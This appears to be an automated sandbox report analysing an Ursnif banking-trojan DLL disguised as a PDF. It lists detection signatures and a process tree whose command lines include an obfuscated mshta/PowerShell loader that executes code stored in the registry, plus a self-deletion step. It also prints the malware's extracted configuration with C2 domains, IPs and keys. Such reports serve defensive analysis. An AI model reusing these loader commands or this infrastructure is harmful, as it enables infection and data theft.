Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
626a97fea05c8.pdf.dll

Overview

General Information

Sample Name:626a97fea05c8.pdf.dll
Analysis ID:617386
MD5:76f9a5c65f372960c55a3e2d19d211cb
SHA1:341d52557b6600d3e3fe30a43de94206eb4e4403
SHA256:713cfe3bc8dd8f8ba3b907d9268d3f4bd40f5a6a681653cc7922bf69a754ee5a
Tags:dllgozi_ifsbursnif3000
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Sigma detected: Execute DLL with spoofed extension
Snort IDS alert for network traffic
Found malware configuration
Sigma detected: Windows Shell File Write to Suspicious Folder
Maps a DLL or memory area into another process
Initial sample is a PE file and has a suspicious name
Sigma detected: Accessing WinAPI in PowerShell. Code Injection
Machine Learning detection for sample
Allocates memory in foreign processes
Self deletion via cmd delete
Sigma detected: MSHTA Spawning Windows Shell
Sigma detected: Suspicious Call by Ordinal
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Writes registry values via WMI
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Sigma detected: Suspicious Remote Thread Created
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Sigma detected: Mshta Spawning Windows Shell
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Sigma detected: Suspicious Csc.exe Source File Folder
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 6592 cmdline: loaddll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 6612 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 3340 cmdline: rundll32.exe "C:\Users\user\Desktop\626a97fea05c8.pdf.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 5008 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • explorer.exe (PID: 3688 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
            • cmd.exe (PID: 4920 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\626a97fea05c8.pdf.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • PING.EXE (PID: 6176 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
            • RuntimeBroker.exe (PID: 4504 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
  • mshta.exe (PID: 5140 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Dgvy='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Dgvy).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6636 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jehbycm -value gp; new-alias -name tyfittgwsr -value iex; tyfittgwsr ([System.Text.Encoding]::ASCII.GetString((jehbycm "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 1300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 3120 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\pyir2nwc\pyir2nwc.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 3068 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4ECA.tmp" "c:\Users\user\AppData\Local\Temp\pyir2nwc\CSC3492E89F885A4D28ABE1C8363667B7D.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 2268 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vx43imot\vx43imot.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 2140 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6B2B.tmp" "c:\Users\user\AppData\Local\Temp\vx43imot\CSCE0D7D73128344F6AB96E56EC2E032.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "+FflIsIAzGiUM0s27tuLbRAwZqYoqmNsTeF7rxG/Mwp38QqxThLLXpreOfEHBItOJka6enf+5fp9fT9wIfjoNQYondBMg0CXVUaaXZmXPw7dFUCTuwl/1fJ8Te0BDO4/e0D+MT+n6Ovzq2MwCzSIm7W4ZiEEkdm60WNeCsFwnx1f78Cv9j4wv9nLP3bFRx9OkdD66cn4ATsp0wULyGpOtly6uJj4gNSoIxbBBQeCFBEVhnqZ/KZ3/SbtJUJ3X757TgS02V8uV2DJldCmSy1UGDylgn9Cs1EUm4RQgf1fFSmTn7kcnOpsq0753wd2/m9Jbas3/WEwOA88vTsSUvhPp7zr8Ltl9tao4hrJvcTrul8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "hopexmder.net", "94.140.114.144", "94.140.112.49", "94.140.112.121"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "movie_capture": "30, 8, calc no*ad *terminal* *debug*", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000004.00000003.424373972.0000000004EC8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
    00000004.00000003.424240322.0000000004EC8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
      00000004.00000003.530255853.0000000005CA8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
        00000004.00000003.475301685.0000000004EC8000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
          00000012.00000003.571518194.00000182D98EC000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_UrsnifYara detected UrsnifJoe Security
            Click to see the 21 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            4.2.rundll32.exe.ef0000.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
              4.3.rundll32.exe.48e94a0.10.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                4.3.rundll32.exe.48e94a0.10.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                  4.3.rundll32.exe.4dca4a0.0.raw.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                    4.3.rundll32.exe.4dca4a0.0.unpackJoeSecurity_Ursnif_1Yara detected UrsnifJoe Security
                      Click to see the 2 entries

                      Sigma Signatures

                      System Summary